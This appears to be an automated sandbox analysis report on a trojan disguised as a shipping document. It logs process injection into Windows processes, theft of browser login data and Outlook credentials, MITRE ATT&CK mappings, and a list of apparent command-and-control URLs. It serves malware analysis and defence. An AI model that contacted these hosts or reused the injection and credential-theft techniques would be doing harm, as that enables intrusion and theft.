Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: NULL target: C:\Windows\SysWOW64\AtBroker.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: NULL target: C:\Program Files (x86)\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\AtBroker.exe

Thread APC queued: target process: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EFDE008

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A08A73 LogonUserW,

0_2_00A08A73

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009B3B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_009B3B4C

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009B4A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_009B4A35

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A14CFA mouse_event,

0_2_00A14CFA

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOC_20241107.exe"	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

0_2_00A081D4

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A14A08 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00A14A08

Source: SHIPPING DOC_20241107.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: AhEyCWkdTLz.exe, 00000003.00000000.350500457.0000000001390000.00000002.00000001.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.874103732.0000000001390000.00000002.00000001.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000000.383603207.0000000001390000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: SHIPPING DOC_20241107.exe, AhEyCWkdTLz.exe, 00000003.00000000.350500457.0000000001390000.00000002.00000001.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.874103732.0000000001390000.00000002.00000001.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000000.383603207.0000000001390000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: AhEyCWkdTLz.exe, 00000003.00000000.350500457.0000000001390000.00000002.00000001.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.874103732.0000000001390000.00000002.00000001.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000000.383603207.0000000001390000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009D87AB cpuid

0_2_009D87AB

Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\l0j4qpvx.zip VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009E5007 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_009E5007

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009F215F GetUserNameW,

0_2_009F215F

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009E40BA __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_009E40BA

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009B4AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_009B4AFE

Source: C:\Windows\SysWOW64\AtBroker.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.873933070.00000000001B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.436520319.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369012864.0000000000370000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.874124663.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873906744.0000000000070000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873918569.0000000000160000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369018456.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369105032.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.874128931.0000000004EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001	Jump to behavior

Source: SHIPPING DOC_20241107.exe	Binary or memory string: WIN_81
Source: SHIPPING DOC_20241107.exe	Binary or memory string: WIN_XP
Source: SHIPPING DOC_20241107.exe	Binary or memory string: WIN_XPe
Source: SHIPPING DOC_20241107.exe	Binary or memory string: WIN_VISTA
Source: SHIPPING DOC_20241107.exe	Binary or memory string: WIN_7
Source: SHIPPING DOC_20241107.exe	Binary or memory string: WIN_8
Source: SHIPPING DOC_20241107.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.873933070.00000000001B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.436520319.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369012864.0000000000370000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.874124663.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873906744.0000000000070000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873918569.0000000000160000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369018456.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369105032.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.874128931.0000000004EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A26399 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00A26399
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A2685D socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00A2685D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	2 Obfuscated Files or Information	NTDS	128 System Information Discovery	Distributed Component Object Model	1 Email Collection	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	15 Security Software Discovery	SSH	21 Input Capture	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	3 Clipboard Data	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SHIPPING DOC_20241107.exe	47%	ReversingLabs	Win32.Trojan.Autoitinject
SHIPPING DOC_20241107.exe	100%	Avira	DR/AutoIt.Gen8
SHIPPING DOC_20241107.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\sqlite3.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js	0%	Avira URL Cloud	safe
http://www.primeproperty.property/c1ti/	0%	Avira URL Cloud	safe
http://www.energyparks.net/k47i/?Vta=nFypuDtholF&mFptYb=9kxEYcPO0Qe31MjAFjIcWOncsH25cFhJfOSVnSYcFCRu8P8I16bnvFurvQhgIE0Ki89nSiSy+a0RlMSh3+VYEZE5/A1AoTNj5T9S7+51vpkFoip5Twnd4WVIrXl3	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111653519935.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111418363409.jpg	0%	Avira URL Cloud	safe
http://www.flikka.site/brrb/?mFptYb=Pyc5xCH2FNTrUJIJc2J3jfwJvYyqOHlrloocc6vOBweawvT0T5Z/uibAsKRSCDSof6T5ol8OWeU6iNzlygZ3OH11Snb2up2hISFSOV0LFhqb+gPNdrhH/8C3bcPF&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
http://www.hasthosting.xyz/04fb/	0%	Avira URL Cloud	safe
http://www.kghjkx.xyz/usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJycOeh1EqhE8oaarBESMUTzpbIdTTfy1FzFAf98MVDEsTj+MFe4tIzu4mcpDK&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111718494999.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121130140569.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111602227556.jpg	0%	Avira URL Cloud	safe
http://www.ladylawher.shop/i4bc/	0%	Avira URL Cloud	safe
http://www.digitaladpro.shop/m6se/?Vta=nFypuDtholF&mFptYb=tpLSjTwEMN9ZKyp9qVSTFKrjCn9ygWFWt49InxX861XvXeuMycl5+MP/OGAzrS8FX3YfTT6PzpVF+4Zez3QIzOzSaqsrWwxbsC4SLAepSA8UeSOwbSX7uDAGPo/m	0%	Avira URL Cloud	safe
http://www.energyparks.net/k47i/	0%	Avira URL Cloud	safe
http://www.neg21.top/1i1f/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/amazeui.min.js	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111842165995.jpg	0%	Avira URL Cloud	safe
http://www.hasthosting.xyz	0%	Avira URL Cloud	safe
http://www.loginov.enterprises/y0sc/?mFptYb=tJdq8Dqw4hWr1P6qEoxHD8OlFm+HKuZ69MCgVLcAx6ZVjDjmpjdFVs/kycs0W1S/0p2sAvBc0lWbLbeb6h4QLTxDUgZUmiCBrM9D9onPOIUOQ3sXksUDVUExaBXH&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121333505679.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111650528174.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111312107302.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/canvi.js	0%	Avira URL Cloud	safe
http://www.kghjkx.xyz/usop/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/jquery-1.9.1.min.js	0%	Avira URL Cloud	safe
http://www.iuyi542.xyz/cymd/?mFptYb=SQRZB1HP1/e+i1vXkx65XVrDeSNNnXwFTHYuRC8KH5mDKLD+AhmaLKzef3QT7SVce+tzzUZ1GVC2U2YQK5wN3xroRLUyaPMbLSFxR1aJqBACZHGGUwWsqj7Ua713&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/service.png	0%	Avira URL Cloud	safe
http://www.hasthosting.xyz/04fb/?mFptYb=EDSq5eKeQ/yn	0%	Avira URL Cloud	safe
https://00808.vip/	100%	Avira URL Cloud	malware
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121118333732.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281756134546.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111316162395.jpg	0%	Avira URL Cloud	safe
http://www.wcp95.top/1bs4/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111554188180.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121337456585.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/top.png	0%	Avira URL Cloud	safe
http://www.iuyi542.xyz/cymd/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/rexiao.jpeg	0%	Avira URL Cloud	safe
http://www.binacamasala.com/usv6/	0%	Avira URL Cloud	safe
http://www.binacamasala.com/usv6/?mFptYb=TgDODAIJaOl5jtT4JVTY+PvwOqFRmlbaFilQ+MjMe2d3S0GP4FMVqMWCvgzOI+CNdjxuqTDbs8bnZHFVmt5Iw+xv7nFgog653DC3dJxayAsmz1wZ3Pvz+hOxoHiw&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
http://www.primeproperty.property/c1ti/?Vta=nFypuDtholF&mFptYb=UWVJg+rBkYQ16c/k/Y1W1sgQfFqH6LNVaa0x99kOYGF7jBYWQyWqo55Eiz0L22BflNyMA4mVt2TvQrx7EMMmoG9cjujHDm+244I0l/r76jr6gTXXvUDzyyGCpqIK	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/email.png	0%	Avira URL Cloud	safe
http://www.hasthosting.xyz/04fb/?mFptYb=EDSq5eKeQ/yn+NstHLyKrItwi72t2/2aV0X8lTwCWtszw4+D6CyS+H/PrcNES324cNMrQPmMtrZnBxvMQyG2MZhT0iJG1CcvdKppxy///uoLHwLjuGAXtCom68+z&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121445018007.jpg	0%	Avira URL Cloud	safe
http://www.jllllbx.top/s7rc/?Vta=nFypuDtholF&mFptYb=6DRnIJ+Fte42OB/5XetGdeOJ+lOhphxOvMg5DpP/yyjJNxXWq01mRUwFVex1iRDtTe4NkeQHEQ9jZsZ13oeWt1010btNzgPMSC+IqSdDnCJo+Vo0XkUS70+rul7v	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121050155085.jpg	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111532064388.jpg	0%	Avira URL Cloud	safe
http://www.college-help.info/fu91/	0%	Avira URL Cloud	safe
http://www.digitaladpro.shop/m6se/	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281533072611.jpg	0%	Avira URL Cloud	safe
http://www.college-help.info/fu91/?mFptYb=HVzlbrdNsUKwRMyAkWW6+eYcwGansP/WUf8DIHIYxdtxD6ajZVqGQ6r7bYdvsg7HhzGwO4nUubyDeivvZ5uUZnZTjM5UwBrFB6CCixihWT7Na0ffLjed1FEIbDhA&Vta=nFypuDtholF	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/search.png	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/amazeui.css	0%	Avira URL Cloud	safe
http://www.wcp95.top/1bs4/?Vta=nFypuDtholF&mFptYb=NHlL/20Wj3mxTDCCV6AphceXnl/MtZ4Wk+fSFhy0eU4XSufIixCpoBi/gorAC+VzK2LBCRkbZWFQo0n9IQJ7RFp7WJwc0YsNtE+R3Mg/2HoitvY+uCvmluoRVqvz	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121427539351.jpg	0%	Avira URL Cloud	safe
https://www.kghjkx.xyz/usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJ	0%	Avira URL Cloud	safe
https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png	0%	Avira URL Cloud	safe
